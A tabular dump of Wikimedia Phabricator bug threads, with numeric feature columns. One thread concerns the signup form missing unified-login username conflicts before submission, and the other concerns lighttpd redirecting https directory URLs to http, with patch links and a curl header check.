66728,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","When registering as a new user, the name you choose is checked as soon as you leave the name-textfield.  If you choose a name that's actively in use, you get the warning:

""Username entered already in use. Please choose a different name.""

This should also catch registered usernames that are inactive (have no edits?).  Currently those aren't caught until the form is submitted. 

In those cases, you get a different error after submission:

""[...] the requested username is already taken in the unified login system""

(This is on most WM wikis. Some have checks for name-similarity which evaluate first.)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70058",Medium,50.0,1398992040,1496077535.0,PHID-USER-fgzcdbj3je3ksnhufo47,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_description,resolved,True,c3,1,False,False,False,-61,True,0.5,0.0,0.0,2.0,0.5,4.5,1.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,0.0,0.5,6.0,6.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.5,0.0,1.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.5,0.0,0.5,0.0,1.0,0.0,13.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.5,0.0,5.5,3.0,8.5,1.0,0.0,9.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,2.5,6.0,1.0,0.5,2.0,0.0,2.5,0.0,2.0,2.0,0.0,0.5,0.0,0.5,2.0,3.6866154772658835,0.6810448660042157,"When registering as a new user, the name you choose is checked as soon as you leave the name-textfield.  If you choose a name that's actively in use, you get the warning:

""Username entered already in use. Please choose a different name.""

This should also catch registered usernames that are inactive (have no edits?).  Currently those aren't caught until the form is submitted. 

In those cases, you get a different error after submission:

""[...] the requested username is already taken in the unified login system""

(This is on most WM wikis. Some have checks for name-similarity which evaluate first.)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
1910439,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Change 283847 **abandoned** by Bartosz Dziewoński:
%%%[mediawiki/core@master] [WIP] Update signup form validation to use AuthManager%%%
Reason:
%%%Done in https://gerrit.wikimedia.org/r/324969%%%
https://gerrit.wikimedia.org/r/283847",,,1651696661,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,False,,,356,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.9047619047619047,0.6666666666666666,"Change 283847 **abandoned** by Bartosz Dziewoński:
%%%[mediawiki/core@master] [WIP] Update signup form validation to use AuthManager%%%
Reason:
%%%Done in GERRIT_URL%%%
GERRIT_URL"
866655,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","That change has been merged. Testing with the example given above (T66728#710599), this seems indeed resolved.
{F8211232}
",,,1496077535,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,True,,,99,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.115384615384615,0.9230769230769231,"That change has been merged. Testing with the example given above (T66728#710599), this seems indeed resolved.
{F8211232}
"
772629,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted",Will be fixed by https://gerrit.wikimedia.org/r/#/c/324969.,,,1481000834,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,True,,,74,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Will be fixed by URL
663544,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Change 283847 had a related patch set uploaded (by Gergő Tisza):
[WIP] Update signup form validation to use AuthManager

[[https://gerrit.wikimedia.org/r/283847]]
",,,1463476078,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.838709677419355,0.8387096774193549,"Change 283847 had a related patch set uploaded (by Gergő Tisza):
[WIP] Update signup form validation to use AuthManager

[[GERRIT_URL]]
"
663542,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","AuthManager providers can implement `testUserForCreation( $user, $isAutocreation )` and/or `testUserExists( $username )`. Patch for CentralAuth is https://gerrit.wikimedia.org/r/#/c/284499/",,,1463475996,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,46.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.461538461538462,0.9230769230769231,AuthManager providers can implement CODE and/or CODE. Patch for CentralAuth is URL
307713,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Switching the api would still leave the problem of AntiSpoof, TitleBlacklist and anything else hooking AbortNewAccount not being done in the pre-submit call as well.",,,1409085256,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0.0,3.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,14.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.862068965517241,0.9310344827586207,"Switching the api would still leave the problem of AntiSpoof, TitleBlacklist and anything else hooking AbortNewAccount not being done in the pre-submit call as well."
307706,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","From irc:
<  csteipp>	 Yeah, there's a centralauth api that is similar to the list=users api...
<  csteipp>	 bd808: https://fr.wikipedia.org/w/api.php?action=query&meta=globaluserinfo&guiuser=BryanDavis

So switching from the list=users api to the meta=globaluserinfo api might be a good way to fix this for WMF wikis. That leaves the problem of doing the right thing on wikis where globaluserinfo isn't installed:

* https://wikimediafoundation.org/w/api.php?action=query&meta=globaluserinfo&guiuser=BryanDavis",,,1409085109,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,1.0,1.0,5.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,21.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,4.0,9.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,10.0,7.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,5.0,3.5,0.6707317073170732,"From irc:
<  csteipp>	 Yeah, there's a centralauth api that is similar to the list=users api...
<  csteipp>	 bd808: URL

So switching from the list=users api to the meta=globaluserinfo api might be a good way to fix this for WMF wikis. That leaves the problem of doing the right thing on wikis where globaluserinfo isn't installed:

* URL"
307701,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","(From dup bug 70058)
> The check in
> resources/src/mediawiki.special/mediawiki.special.userlogin.signup.js that
> attempts to help the user choose an available username is not aware of
> CentralAuth accounts that have not been attached to the local wiki. This is
> due to the use of /w/api.php?action=query&list=users to power the check.
> 
> Example:
> 
> *
> http://en.wikipedia.org/w/api.php?action=query&list=users&ususers=BryanDavis
> *
> http://fr.wikipedia.org/w/api.php?action=query&list=users&ususers=BryanDavis
> 
> The conflict will be noticed when the form is submitted, but it would be
> nicer if users were warned about global user conflicts by the pre-submit
> validation.",,,1409082524,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.973684210526316,0.21052631578947367,"(From dup bug 70058)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
307696,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted",*** Bug 70058 has been marked as a duplicate of this bug. ***,,,1409082451,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70058 has been marked as a duplicate of this bug. ***
307690,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","See also bug 40648 (for AntiSpoof and TitleBlacklist)

Looks like bug 34447 was only about the core part, not extensions like CentralAuth with SUL and global accounts. When a global account does not exist an that local wiki, the check will not working.",,,1399033676,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-61,True,0.0,0.0,0.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,14.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.22,0.82,"See also bug 40648 (for AntiSpoof and TitleBlacklist)

Looks like bug 34447 was only about the core part, not extensions like CentralAuth with SUL and global accounts. When a global account does not exist an that local wiki, the check will not working."
307685,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Hmm, I thought this was fixed by bug 34447",,,1399030392,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-61,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"Hmm, I thought this was fixed by bug 34447"
307680,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","""unified login system"" -> that is SUL and that is part of CentralAuth extension.

At the moment the extensions are missing on that check, so also AntiSpoof or the TitleBlacklist are missing.

But I am not sure, if that should be fixed in core (by calling the existing checks per api) or in each extension (by calling each api seperatly), so keeping it in core first. See bug 61416 for the core change.",,,1399013662,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-61,True,2.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,9.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,12.0,4.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,1.0,3.7191011235955056,0.6629213483146067,"""unified login system"" -> that is SUL and that is part of CentralAuth extension.

At the moment the extensions are missing on that check, so also AntiSpoof or the TitleBlacklist are missing.

But I am not sure, if that should be fixed in core (by calling the existing checks per api) or in each extension (by calling each api seperatly), so keeping it in core first. See bug 61416 for the core change."
66627,lighttpd redirects URLs of directories without a trailing slash from https to http,"+++ This bug was initially created as a clone of Bug #59926 +++

lighttpd redirects URLs of directories without a trailing slash from https to http, i. e.:

| [tim@passepartout ~]$ curl -I https://tools.wmflabs.org/matthewrbowker/cnrd
| HTTP/1.1 301 Moved Permanently
| Server: nginx/1.5.0
| Date: Tue, 29 Apr 2014 22:07:20 GMT
| Connection: keep-alive
| Location: http://tools.wmflabs.org/matthewrbowker/cnrd/

| [tim@passepartout ~]$

So we'll need to teach lighttpd about https (or rewrite redirects in nginx?).  From bug #59926, comment #8:

> [...]               The proxy provides an X-FORWARDED-PROTO header which can
> be used by the application to construct URIs if it really must redirect
> between protocols.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53689",Medium,50.0,1398809340,1429986601.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-prswuex6vgjct27fucjm,task_description,resolved,True,c3,1,True,False,True,-62,True,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,2.0,6.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,14.5,0.5,0.5,1.5,0.0,0.0,0.0,2.0,3.5,0.0,4.5,0.0,0.5,6.5,5.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,2.5,3.4315068493150687,0.6712328767123288,"+++ This bug was initially created as a clone of Bug #59926 +++

lighttpd redirects URLs of directories without a trailing slash from https to http, i. e.:

| [tim@passepartout ~]$ curl -I URL
| HTTP/1.1 301 Moved Permanently
| Server: nginx/1.5.0
| Date: Tue, 29 Apr 2014 22:07:20 GMT
| Connection: keep-alive
| Location: URL

| [tim@passepartout ~]$

So we'll need to teach lighttpd about https (or rewrite redirects in nginx?).  From bug #59926, comment #8:

QUOTE
QUOTE
QUOTE

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
449143,lighttpd redirects URLs of directories without a trailing slash from https to http,"@scfc <3 I did not know about proxy_redirect and did not look in that direection at all. Thank you very much :D Seems to work fine now both for redirects, non-redirects and root elements.",,,1429986601,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,5.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,13.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.102564102564102,0.8717948717948718,"SCREEN_NAME <3 I did not know about proxy_redirect and did not look in that direection at all. Thank you very much :D Seems to work fine now both for redirects, non-redirects and root elements."
449142,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206519 merged by Yuvipanda:
Tools: Fix redirects from https to http

[[https://gerrit.wikimedia.org/r/206519]]",,,1429986260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8095238095238093,0.8571428571428571,"Change 206519 merged by Yuvipanda:
Tools: Fix redirects from https to http

[[GERRIT_URL]]"
449127,lighttpd redirects URLs of directories without a trailing slash from https to http,"Ah, sorry, I forgot to jot down how I intended it to fix.",,,1429979052,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,19.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8125,0.8125,"Ah, sorry, I forgot to jot down how I intended it to fix."
449125,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206519 had a related patch set uploaded (by Tim Landscheidt):
Tools: Fix redirects from https to http

[[https://gerrit.wikimedia.org/r/206519]]
",,,1429978901,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7586206896551726,0.896551724137931,"Change 206519 had a related patch set uploaded (by Tim Landscheidt):
Tools: Fix redirects from https to http

[[GERRIT_URL]]
"
449068,lighttpd redirects URLs of directories without a trailing slash from https to http,"Nope, it doesn't. I give up. Fuck lighttpd.",,,1429933920,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,15.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.769230769230769,0.8461538461538461,"Nope, it doesn't. I give up. Fuck lighttpd."
449067,lighttpd redirects URLs of directories without a trailing slash from https to http,"ok, so ^ does it at the nginx level, which only handles the tool level redirect.",,,1429933862,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.8421052631578947,"ok, so ^ does it at the nginx level, which only handles the tool level redirect."
449064,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206504 merged by Yuvipanda:
tools: Redirect tools.wmflabs.org/toolname appropriately

[[https://gerrit.wikimedia.org/r/206504]]",,,1429933615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.555555555555555,0.8333333333333334,"Change 206504 merged by Yuvipanda:
tools: Redirect tools.wmflabs.org/toolname appropriately

[[GERRIT_URL]]"
449060,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206504 had a related patch set uploaded (by Yuvipanda):
tools: Redirect tools.wmflabs.org/toolname appropriately

[[https://gerrit.wikimedia.org/r/206504]]
